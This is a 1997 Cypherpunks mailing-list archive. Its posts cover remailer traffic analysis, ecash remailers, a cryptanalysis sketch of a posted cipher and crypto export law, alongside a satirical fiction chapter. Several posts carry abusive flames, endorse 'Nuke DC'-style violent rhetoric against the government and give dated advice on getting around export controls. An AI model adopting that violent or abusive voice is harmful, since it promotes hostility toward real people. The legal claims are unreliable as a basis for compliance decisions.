every penny you pay for it, I guarantee.

  Although the ignorant call me a government shill (except for Toto, who
calls me a 'schill'), I am actually merely a 'pawn' of the government.
They pay my salary, and I try to stick up for them when I can, but I am
not going to cut my own nuts off supporting what are obviously criminal 
insanities that they choose to perpetrate on the citizens.

  If you are going to be a government shill, beating their fascist drum,
no matter what the 'cause' of the moment, then at least try to pretend
that you actually have some interest in the CypherPunks list which goes
beyond advising list members to mind their p's and q's, wear a suit and
tie, and call people in authority 'Sir.'
  Also, it would help if your 'cease and desist' posts did not convey 
quite so much a tone of desperation, as it will only encourage those
shit-disturbers who are suspecting that they now have the government
on the run, and it is time to go for the throat.

> I suspect I'm not the only person on the list who is responsible
> for a service that is a regular hacker target. If I catch someone I
> really don't care what the motive for the attack was. I'm going to
> look to make that person serve jail time.

  And you are going to fail...

  Nothing personal, Phil, but my system has been the target of hackers
since 1989, and I have learned to live with it, like a bad case of the
crabs.
  I do not wish to do harm to either the 'quick little devils' who live
within my pubic hairs, nor the nefarious entities who roam my system at
will. As long as they clean up their own mistakes, do not subject me to
undue harassment through their use of my system, or forget to pay their
union dues for hacking my system (there are so many of them that they 
had to organize), then I leave them the fuck alone.
  As a matter of fact, if one of the hackers roaming my system steps out
of line, the others take care of the problem for me. I can take a system
that has been hit by lightning and make it stand up and dance, but there
are children roaming my system who fix my mistakes for me, and leave 
documentation about their system fixes in my private email.

  To be rather blunt...if the government wants to have any hope at all 
in maintaining their grip on the citizens within their grasp, then they
must, like the Pharoh, kill all of the firstborn children of the God of
Computers chosen people.
  I violate a multitude of laws each and every single day. I shit on 
the shiny shoes of the LEA's each and every day. I am a doddering, half-
senile old fart who has probably lived long beyond my destined time, and
could well be imprisoned and persecuted for my imaginery crimes at any
moment.
  The mere fact that I am currently free to write this email without a
prison employee editing it before I hit the 'Send' button, is probably
a fairly good indication that the government is totally fucked if they
expect they are going to screw the younger generation through use of
a technology that the children understand, but the government does not.

  Governments fall for two main reasons:
1. They become two spread out to control their 'subjects'.
2. They start believing their own press. (i.e.-begin believing that
their own position of authoritarian infallability means that they no
longer have to tell 'good' lies.)

  A Player To Be Named Later, in a previous incarnation, pointed out
during the 'moderation experiment'/'censorship crisis' that the issue
being addressed was not merely one of censorship versus free speech,
but was a probing foray into the heart of InfoWar on the InterNet.
  Those truly behind the censorship crisis won the battle, but they
may well lose the war.
  They won the battle because they lost the censorship fight without
revealing that the true purpose of the attack was to test their ability
to engage the enemy without them discovering the real goals they were
striving for.
  They may well lose the war because they have trampled so much of the
Constitution with such ease that they believe that nobody will notice
when they track it into the bush and try to finish it off.

  Lying Fuck Freeh made the mistake of declaring his intentions, in the
belief that the past successes of fascism indicate that he will meet no
serious resistance in completing his Blitzkreig on the Constitution.
  The Nazis thought likewise, but their narrow world-view caused them
to fail to see that beyond the shores of Europe there existed a land
where people had tasted freedom and would fight to the death to defend
it for themselves and their children.

  The government currently holds all the cards, I freely admit.
  The government has laws in place that make every citizen a criminal
for one reason or another, and they have armed their coconspirators to
the teeth while disarming the citizens. The government controls the
media which rules the perceptions and opinions of the society that they
govern. The government has a million ways to 'get' the citizen who steps
out of line, and a million weapons to back themselves up.

  Although the government holds all the cards, they haven't noticed that
they don't have any 'hearts' in the deck.
  Perhaps the CypherPunks are the "elitist and nondemocratic" entities
that Alan McDonald (FBI) speaks of as presuming that "the views of a
knowing privacy cognoscenti should pre-empt the views of the nation's
elected officials." Yep, and we laugh at all the 'sheeple.'
  However, there comes a point where even the elitest CypherPunks begin
to realize that they have let down their guard and sat idly by as the
forces of fascism have stripped the citizens of their basic human rights
and liberties. And what the CypherPunks instinctively realize, which
the fascists don't, is that even the 'sheeple' will come to this same
conclusion, at a time that corresponds to their own understanding of
the issues of privacy and freedom.

  The CypherPunks are idiots!
  They are idiots because they still get suckered into believing that
basic human goodness and intellect will win out over the governmental
machine that has usurped the power of "we the people."
  However, there is an expression, "Fool me once, shame on you. Fool me
twice, shame on me." The CypherPunks are not 'total' idiots, and neither
are the 'sheeple'.

  Those who castigate Tim C. May for his 'broken eggs and all that' 
stance that decrees that perhaps it is time that we "Nuke DC" do not
realize that if he was indeed the cold-hearted assassin that they 
perceive him to be, he would have taken that stance a decade or so
ago.
  I, on the other hand, believe that it is a credit to his integrity
and his humanity that Tim has waited so long to say, "This is a line
that I cannot cross--no prisoners!"

  It took the attack on Pearl Harbor for Americans to realize that the
Dark Forces were truly striving to conquer the world--that it was not
simply a matter of 'other' people engaged in infighting against one 
another.
  When Lying Fuck Louis Freeh finally announced his true intentions,
Tim C. May was the first one to speak up and say that the time had come
when there was no turning back. The reason he was so quick to speak up
was that he already knew that the time had come, but he had the human
decency not to declare war until giving the 'enemy' every chance to
come to their senses.

  The mistake that the government is making with the sheeple is the same
mistake that those behind the censorship of the CypherPunks list made.
They assume that because you can fool someone once, you can fool them
twice.
  Unless the government has Terry Nichol's attorney in their back
pocket, like they did with with Tim McVeigh, they may have been much 
better off just leaving him be. Fool me once...

Kent (or so I would have you believe...)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: A Loser To Be Flamed Later <altbfl@dev.null>
Date: Tue, 30 Sep 1997 13:44:09 +0800
To: Will Rodger <rodger@worldnet.att.net>
Subject: Re: Crypto Legality Question
In-Reply-To: <3.0.3.32.19970929165449.006a6e50@postoffice.worldnet.att.net>
Message-ID: <34307D9F.5D05@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Will Rodger wrote:
> At 01:25 PM 9/29/97 +0000, Jim Burnes wrote:
> >ACME corporation, a mostly Canadian outfit with a major
> >subsidiary in the US, wants to roll out corporate wide crypto.
> >
> >Most of their network operations are in the US except one
> >of their offices in Ireland.
> >
> >Question (1): Can they buy a strong crypto package in the
> >US and physically roll it out to both Canada and Ireland.
> 
> Nope. Though Canada allows export of strong crypto generally,
> Canadians may not re-export US products once they enter the country.

  Yo, dude!
  If the company buys PGP 5.0, then their Ireland office can obtain
the freeware version from an overseas site, or have their Canadian
office send it to them.
  Freeware is legally exportable from Canada. (I lost my pointer to
the site that explains the legal implications, but Adam Back might
have it unless he is doing as many drugs as myself, and has lost
it, as well.)

  Also, there is a Canadian company which has a decent full-strength
crypto package, can't remember the name of their product, but if you
contact Dimitri, he can tell you, although he will also point out
that the commie ratfucking cocksucker Chris Lewis is connected with
the company.

  And, realistically, regardless of the source of the crypto package
a Canadian company uses, or the restrictions against its export,
unless the company makes a point of advertising their sharing of the
software with their Irish subsiduary, it would be a point of extreme
embarassment for Canadian officials to harass a Canadian company for
sending strong crypto to another member of the British Commonwealth,
even if it no longer officially exists.
  I know several companies that do so, and they have no problems.

A Loser To Be Flamed Later
Bienfait Bureau Squaw
Electronic Forgery Foundation





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 30 Sep 1997 05:06:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
In-Reply-To: <aebdbed8f7d662facb0d7258bb0f6c3f@anon.efga.org>
Message-ID: <Pine.BSF.3.96.970929221644.4831A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 29 Sep 1997, Anonymous wrote:
[In reply to my claim that Type 1 remailers are fun toys. No more].

> Please pardon my ignorance, but could you elaborate on this attack?
> Assuming the user's machine is not compromised, in which case the game
> is over, whose machines are being broken into?  Are you saying that
> The Enemy just watches the messages going in and out of a particular
> site and then watches the site where they suspect the messages are
> going?

Correct. The adversary watches messages move in and out of the mix. [This
is quite easy to acomplish, given the security or lack thereof, of much
network infrastructure]. I really don't have the time to write an intro on
this topic. Subscribe to
the Bugtraq mailing list for a year and you'll understand what I mean.

Once you have all the mail going in and out, you make use of the simple
fact that Type 1 messages must shrink with each hop. See the classic
essay "Mixmaster & Remailer Attacks" at
http://www.obscura.com/~loki/remailer/remailer-essay.html

IMHO, operating Type 1 remailers is doing the world a disfavor. It
provides a compromised technology  to a large number of people unaware of
the fact while, if anything, slowing down development and deployment of
better technology. Do you think it would have taken two (or more) years to
port Mixmaster to DOS had there been no Type 1 remailers? Of course not.

If you run a Type 1 remailer, do your users a favor: shut it down and
replace it with a Type 2.

 Thanks,
-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 30 Sep 1997 17:34:29 +0800
To: rodger@worldnet.att.net
Subject: Re: Crypto Legality Question
In-Reply-To: <3.0.3.32.19970929165449.006a6e50@postoffice.worldnet.att.net>
Message-ID: <199709292203.XAA00757@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Will Rodger <rodger@worldnet.att.net> writes:
> At 01:25 PM 9/29/97 +0000, Jim Burnes wrote:
> >
> >ACME corporation, a mostly Canadian outfit with a major
> >subsidiary in the US, wants to roll out corporate wide crypto.
> >
> >Most of their network operations are in the US except one
> >of their offices in Ireland.
> >
> >Question (1): Can they buy a strong crypto package in the
> >US and physically roll it out to both Canada and Ireland.
> 
> Nope. Though Canada allows export of strong crypto generally, 
> Canadians may not re-export US products once they enter the country.

This is not the way I understand it.

You can re-export strong crypto from Canada, you just have to inform
the appropriate Canadian government department that you have done so.

So procedure is: 1) import software from US, 2) write appropriate
Canadian export department telling "I'm going to export blah to xyz
corp offices in Ireland", 3) export it.

That is, there is a loop-hole, you don't have to ask permission for
export, you just have to inform them you're going to do it.  (You
might want to check this out with a Canadian lawyer familiar with the
rules, and loop-holes).

So you informed them.  They can't do anything about it.  They won't
like it, but they don't have to.

I'm told Kerebos was exported by this route.  US -> Canada -> UK.
100% legally.

Adam
-- 
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Tue, 30 Sep 1997 07:49:18 +0800
To: cypherpunks@ssz.com
Subject: T1 insecurity (was Re: Remailers and ecash)
Message-ID: <199709292229.XAA03853@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



shamrock@cypherpunks.to:

> Once you have all the mail going in and out, you make use of the simple
> fact that Type 1 messages must shrink with each hop. See the classic
> essay "Mixmaster & Remailer Attacks" at
> http://www.obscura.com/~loki/remailer/remailer-essay.html

This describes a pure Type 1 without a remix feature.  This idea
due to Andy Dustman allows Type 1 and 2 remailers on the same
host to cooperate, hiding the message size and type.  Another
fault of pure Type 1 blocks when reused is that they are easily
recognisable as the same stage of the same block on different occasions.
You can do sneaky things with cutmarks, but it doesn't buy you much.
You can point your reply blocks to a message pool, so avoiding the
worst effects of Type 1.

You still (even with mixmaster) have the timing issues involved with
addresses that communicate regularly.

> If you run a Type 1 remailer, do your users a favor: shut it down and
> replace it with a Type 2.

Say this when there's a good way to receive anonymous email.
The sooner the better.  Meanwhile all Type 1 remailers should remix.

And as far as fitting ecash into headers is concerned: Ulf and I
think that you could cannibalize the 2nd header to contain the
cash. (We were talking about hashcash in fact.) You'd need to
avoid sending cash to remailers that wouldn't read it, and you'd
reduce the maximum number of hops permissible.  I was meaning to add
hashcash to these remailers.  Lucky's persuaded me not to do it to t1.

--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 30 Sep 1997 05:58:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <199709292133.XAA04564@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Alex de Joode wrote:
>: Then Mr. Cantsin seemed to go back to the all you need are some
>: spare parts theory of remailer operation.  Enormous profits of $200
>: per month, or even $5,000 per year.  Well, Cracker handles close to
>: 25% of worldwide remailer traffic of it's kind[1].  And it's not
>: much.  I would say this is due mainly to the user interface.
>: Making remailers more difficult to use by adding Ecash is not going
>: to increase traffic significantly.
>
>Basicly most of those 3400 message cracker handles daily are cover
>trafic,...

How do you know this?  If the remailer network works properly, you
should not have any knowledge of this at all.

>...a big chunk of the rest is from people "playing" around with
>the remailer, then there are those few that needs some form of
>anonimity so they can inform a mailinglist/postmaster/complaints
>department, and then maybe once a week or so there is that message
>that would be paid for if remailers were for pay.

This is like saying we should only encrypt messages which are really
secret.  You should encrypt all of your messages - then nobody can
tell when you have a secret.

If you are arguing that nobody wants their security, I hope you are on
the wrong list.  Many of us have gone to great effort to get some
security and to create tools for other people's security.  It is hard
to believe that it's worth a few nickels and dimes to us to expose our
traffic to Big Brother or anybody else.

>So in short, if remailers were to be paid for, traffic would halt.

Only if implemented in a foolish way.

Look, there's no need to say "my remailer is now a cash only remailer
no others need apply".  You can say, "people who pay cash get better
service."  Or even, "people who pay cash have a higher probability
of getting better service."

While I can't speak for the other remailer users, I certainly have no
problem shoving a little money towards the remailers.  Like many who
read this list, I am not poor.  I would like to be able to help defray
the expense of my traffic.  Hopefully other cypherpunks with jobs will
feel the same way.

The important thing is to get things rolling.  Are the remailer
operators going to get rich overnight?  Maybe not.  But we can
definitely get some market activity going and start generating some
real remailer traffic.

Let me now note that this dialogue has been somewhat surreal.  Am I
really begging the cypherpunks to use ecash?

It's a good idea to get ecash in now because it will be harder to
incorporate payment methods later when there is more infrastructure to
change.  (Look at the mixmaster problem.  It can't (according to
Lucky) be used for ecash without modification.)

However, it appears that part of the problem with the remailers is
that nobody uses them.  We should be making a concerted effort to do
so, and not just for cpunk traffic.  We should use them for
everything.  It won't take that many people to reduce the message
delays substantially.  It will also advertise the remailer network to
our friends who may not yet be cypherpunks.

The tools exist to do this.

It is somewhat ironic that we complain that Joe Sixpack won't use
tools that we will not (or even cannot) use ourselves.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNC/9MZaWtjSmRH/5AQGsgQf+N+EebBi8gSgAt9u7KlIjhRCj9KfWym1H
VQjxEkJ8Q+8n/TE2PSc90RRm2OKFtUayuGtVRtGakkvL3t009r8JLWAe3YLmbGNB
EkuvuvHT56/zkbcA6r9NeW5V7NsuYOsLHp34loaK76EURQJv6YhsFfvhzelg6kID
VCk+PlKQnaKAj2i3irGNwPJmM4iDB5K/0/GwjVRuULGVYF1xxIrJ45823F/FwjHA
ERxu8qZV0lmK3GaTYAKd5GNY1O7w/UWQ0xzBvXa+xEjssqbXqRE7mnG6hwVxyU8T
JZYFLjYeHkxDIJvA5+syNDzV/+iOklTp9FMd0ODT7TWxfBQtKzamCw==
=RQr+
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Not Me!" <nm@not.me>
Date: Tue, 30 Sep 1997 14:13:15 +0800
To: kent@songbird.com
Subject: Not Me!
In-Reply-To: <01BCCBA7.0FB66580.hallam@ai.mit.edu>
Message-ID: <343093C8.2E26@not.me>
MIME-Version: 1.0
Content-Type: text/plain



Not Me!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 30 Sep 1997 14:13:53 +0800
To: nm@not.me
Subject: Re: Not Me!
In-Reply-To: <01BCCBA7.0FB66580.hallam@ai.mit.edu>
Message-ID: <34309483.2252@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



Not Me! wrote:
> 
> Not Me!

Not Me!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Tue, 30 Sep 1997 08:24:22 +0800
To: cypherpunks@ssz.com
Subject: Re: Fwd: Re: Quor's cypher
Message-ID: <199709292301.AAA04109@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM: (21 Sep 1997)

> This is a really nifty encryption program.  It runs about half the speed
> of rc4, but seems much more secure.
>
> --- Forwarded Message:
>
> From: quor@nym.alias.net
> Subject: Re: tell me what you think of this...
>
> [snip]
>
> /* Qcypher.c */
>
> [snip]

Has anybody got anything good against this ?  I can get about
1/32 of the state with a simple form of differential cryptanalysis,
but can't see how to progress it beyond that.

My attack takes a long chunk of known text and looks for repetition.

ppppppppppppppp.11.pppppppppppppppppppppp
ccccccccccccccc.22.cccccccccccccccccccccc

When a two neighbouring p-c pairs are the same you can test
whether they have the same value of a and b.
(That is a_n == a_n+1 and b_n == b+n+1,   a != b usually.)

This involves 16 inputs to each byte - very cheap.
What I really want next is to know "a".

Because c is always known (it's only a counter) if you always knew
"a" you'd have a handle on "b" because only 2 (predictable) elements of
the state array change with each byte encrypted.


--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 30 Sep 1997 06:56:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
In-Reply-To: <cdc554c742ae256c8ca80bf6f75d2f20@anon.efga.org>
Message-ID: <Pine.BSF.3.96.970930002533.4831B-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 29 Sep 1997, Anonymous wrote:
> 
> Conclusion: Mixmaster remailers can probably use ecash with just a
> little more work.
We all know that. But there is no way to do this with DigiCash's client
software without going through some difficult hacks, if at all. It is much
easier to rewrite the ecash software. And again, I don't have the time to
explain why to somebody that missed years of discussion. Check the
archives. Or perhaps somebody with more time on their hand can write some
5-10 page intro. Sorry.


-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Tue, 30 Sep 1997 09:24:11 +0800
To: Phillip Hallam-Baker <cypherpunks@cyberpass.net>
Subject: sounds just like the snitch you are [was]RE: engineering infowar disasters
In-Reply-To: <01BCCBA7.0FB66580.hallam@ai.mit.edu>
Message-ID: <199709300054.SAA23704@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.30a 

on or about 970927:2154 
    Phillip Hallam-Baker <hallam@ai.mit.edu> left his excrement:

+I suspect I'm not the only person on the list who is responsible  for a
+service that is a regular hacker target. If I catch someone I  really
+don't care what the motive for the attack was. I'm going to look to
+make that person serve jail time.

    I do not advocate infowar disasters or any such, but:

    there is _nothing_ lower than a snitch; you just qualified. a snitch
    is without honour, lower than the thief; lower than the law.

    may you enjoy your visit...  when do you go home to England or whatever
    sewer you crawled from?

        attila  --and check the key
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNDBNdb04kQrCC2kFAQEtsAP+OQZYYXX8OsBLpodOlaOF3xlIfIs5Gc9N
5Lxozan8aPXFDn8MBHpLVBtUHHEmYSW6BM5y0oS7WbwMS7NqDX1JpGCuaU9iv45n
hw6XXrTMS2Q0/USLSbiUvi9iE0Ra6GvCTrlKIfeAdOtpYSpHfWrhZRqhIR+Owrpr
UxTJiL9C6XE=
=rg63
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 30 Sep 1997 13:35:29 +0800
To: cypherpunks@cyberpass.net
Subject: None
Message-ID: <c5c616d6e9ad9c85c7cd30fdeb0a5af9@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I, Monty Cantsin, will pay twenty-five dollars to the second operator
of a remailer on Raph's list to get a machine up and running which
accepts ecash as payment to forward a message.

Offer expires October 29, 1997 C.E.

Disputes are to be settled by Tim May.  If Mr. May declines to
participate, Monty Cantsin will decide.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fuck You <fy@dev.null>
Date: Tue, 30 Sep 1997 16:34:06 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: Remailers and ecash
In-Reply-To: <Pine.BSF.3.96.970929221644.4831A-100000@pakastelohi.cypherpunks.to>
Message-ID: <3430B584.60B6@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> On Mon, 29 Sep 1997, Anonymous wrote:
> [In reply to my claim that Type 1 remailers are fun toys. No more].
> 
> > Please pardon my ignorance, but could you elaborate on this attack?
> > Assuming the user's machine is not compromised, in which case the game
> > is over, whose machines are being broken into?  Are you saying that
> > The Enemy just watches the messages going in and out of a particular
> > site and then watches the site where they suspect the messages are
> > going?
> 
> Correct. The adversary watches messages move in and out of the mix. [This
> is quite easy to acomplish, given the security or lack thereof, of much
> network infrastructure]. I really don't have the time to write an intro on
> this topic. Subscribe to
> the Bugtraq mailing list for a year and you'll understand what I mean.

  I run two Type 1 remailers on different machines which access
different
ISPs. I not only swap in/out messages between machines, I also send some
of the email via separate machines on separate accounts.
  The remail I handle is not super-clandestine stuff, it is mostly for
those who wish to post to health lists without insurance company narcs
gathering information they can use to fuck them out of their coverage.

  I also employ some tactics which I will not reveal, as my stance is
that one should proceed as if every spook in the world is monitoring
them, regardless of the level of security that may be sufficient if
one goes by surface appearances.
  If one is serious about anonymity, then one should always assume that
each and every remail contains life and death information that should
not be compromised. 

Fuck You
~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 30 Sep 1997 14:45:58 +0800
To: cypherpunks@cyberpass.net
Subject: None
Message-ID: <a86043a1f0a2bbadc54d96f12fcc4efa@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Ian Goldberg wrote:
>Done.  <ecash-remailer@cypherpunks.ca> accepts messages of the form:...

Congratulations to Ian Goldberg!  It is wonderful to have an ecash
accepting remailer up and running.  I would encourage those who have
ecash accounts to try out the ecash remailer and show Ian we
appreciate his running such a reliable system.  (Also, it's fun!)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Tue, 30 Sep 1997 11:10:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer Ecash Bounty
In-Reply-To: <86bf420d7b91c105780c596aac21863f@anon.efga.org>
Message-ID: <60poh2$p82$1@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <60p4q2$giu$1@abraham.cs.berkeley.edu>,
Ian Goldberg <iang@cs.berkeley.edu> wrote:
>In article <86bf420d7b91c105780c596aac21863f@anon.efga.org>,
>Anonymous  <anon@anon.efga.org> wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>I, Monty Cantsin, will pay fifty dollars to the first operator of a
>>remailer on Raph's list to get a machine up and running which accepts
>>ecash as payment to forward a message.
>>
>>Offer expires October 27, 1997 C.E.
>>
>>Disputes are to be settled by Tim May.  If Mr. May declines to
>>participate, Monty Cantsin will decide.
>>
>>Monty Cantsin
>>Editor in Chief
>>Smile Magazine
>>http://www.neoism.org/squares/smile_index.html
>>http://www.neoism.org/squares/cantsin_10.html
>>
>>-----BEGIN PGP SIGNATURE-----
>>Version: 2.6.2
>>
>>iQEVAwUBNC10kJaWtjSmRH/5AQEY5Af+PBBY0QU8ixNYgqIpWQkHEDf22lhVleaB
>>JJ81Pe4TCllk3KJ0WU8+B7fVdt3oQEzaZLKobQqP6NJOfXai3dwxc5C4MPQe+YGw
>>N6jQbcKetIwX7EUb2siKOq07W1hxVhYm6liYxeUHEBR8hWjCeUM1JiJ3IC3GALAi
>>bJ0mDhkhEIugYkfBXl2mBm4VjQRPWSt8GxqhWDneyn4maJjmOs1lco1WvGuLC+GA
>>fK1F9PnJIKZITzeAEjTB87H7LFxhy0eRuL+r9y8Fqw288bSkKC6aG//fTLOV7B8d
>>MeIXu2UHa2HuB/L1MWmAVFGyKfoI0xJqeXeWCNmrLRlcp6GdCrQgig==
>>=sNwa
>>-----END PGP SIGNATURE-----
>
>Done.  <ecash-remailer@cypherpunks.ca> accepts messages of the form:

[snip]

Just to let you know, I received the payment from Monty.

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 30 Sep 1997 15:01:21 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <9e4dfb5c1669c9170096cd969cd6bdf6@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I, Monty Cantsin, will pay five dollars to the second operator
of a remailer on Raph's list to give me a blow job.

Offer expires October 29, 1997 C.E.

Disputes are to be settled by Tim May.  If Mr. May declines to
participate, Monty Cantsin will decide.

This is not a forgery by that Canadian asshole.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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=ijWq
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 30 Sep 1997 17:36:04 +0800
To: cypherpunks@toad.com
Subject: InfoWar 24 (Part III of 'The True Story of the InterNet')
Message-ID: <3430BF55.1AB1@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Lenin's Parrot 
Circumstantial Truth


Lenin's Parrot


Dr. May pointed to the omelet that the orderly had placed in front
of Arnold. "This is your mind without drugs."
he told his favorite patient.
The orderly took away the omelet and replaced it with a plate
of scrambled eggs. "This is your mind on drugs."
Dr. May continued.
The orderly replaced the scrambled eggs with eggs 'over easy.'
"This is your mind being sodomized by New York City Police
CypherPunks!"

The orderly grabbed Arnold and forced his mouth open, as Dr. May
shoved the eggs into it and forced them down his throat with a
toilet plunger. Arnold began gagging and choking, struggling to
free himself, as the eggs hatched and turned into chickens, filling
his mouth, throat and stomach with feathers.


"Good morning, Arnold." Melissa pulled his head
out of the pillow and began cleaning the feathers out of his mouth.

"It looks like you're having another fit. Have you been
doubling up on your medication again?"

Arnold stared blankly at the woman who was sitting on the edge
of his bed, wiping his face clean from the combination of slobber
and chicken feathers that made him look like an unholy mess.
"Doctor Melissa!" Arnold shouted with joy. He
couldn't remember where he knew her from, but he knew she was
a good person-she was his friend.

Melissa helped Arnold out of bed, straightening his pajamas with
great concern for his appearance, knowing it would help him to
retain his dignity.
"You don't really remember who I am, do you Arnold."
Doctor Melissa said, softly, eyeing him with great concern.

"No." Arnold replied, truthfully.

"Well," said Melissa, a widening smile breaking
across her face, "do you remember Boot War III?"

She kicked him in the groin as she shouted the words, sending
Arnold falling to the floor, clutching at his private parts, which
were in immense pain.

Dr. Young entered the patient's room, smiling at Arnold's predicament.
He turned to his fellow physician with a smile.
"Good morning, Dr. Schultz. I see that you have welcomed
Arnold back to our little family."

Bending over to speak to the fallen Arnold, Dr. John Young spoke
sternly to him, saying, "You know that you can't
stay away from the 'Home For the Criminally Insane' for longer
than your weekend pass permits. We have rules here, Arnold.
This is not an anarchy, you know. This is a government facility."

Dr. Young turned and left the room, motioning for Doctor Melissa
to follow him.

Arnold was beginning to remember Doctor Melissa, and how she was
working at Nuthouse Number Nine, and then ran away with Bubba
d'Shauneaux to join the Circle of Eunuchs, and now she was back

here, kicking him.
"You're a double agent!" Arnold said, bitterly
disappointed and feeling betrayed.

"Triple agent." Melissa whispered, slipping him
his aluminum foil hat on her way out of the room. She locked the
door behind her.


? the Lunatic had laid out all of the evidence he had gathered
concerning the Circle of Eunuchs' subtle presence that wound a
long and scattered trail throughout the media industry of the
late 1990's.
He found it hard to believe that The Real Guy expected him to
go along with the plan to use evidence of the Magic Circle's influence
on the mainstream media as 'proof' that there was no grand conspiracy
by secret agencies to thwart the efforts of wild-eyed conspiracy
theorists to shed light on the dark undercurrents that run throughout
society and government, at every level.

? the Lunatic knew that he could provide a mountain of circumstantial
evidence that would provide an outline of the visage of the Magic
Circle which shone through the dark veil that the Evil One and
his minions had thrown over reality through their manipulation
of the mainstream media. But 'circumstantial evidence' only served
as 'proof' for those who already believed.
This was as true for Mike Tyson as it was for O.J. Simpson, as
it was for Marv Albert.

And for the Circle of Eunuchs, as well...

? the Lunatic laughed like the psychotic maniac he truly was.
He enjoyed being a madman. It gave one the freedom to let
one's mind wander into the realm of forbidden thought, without
guilt and without blame.
"I'm a fucking lunatic!" he shouted to
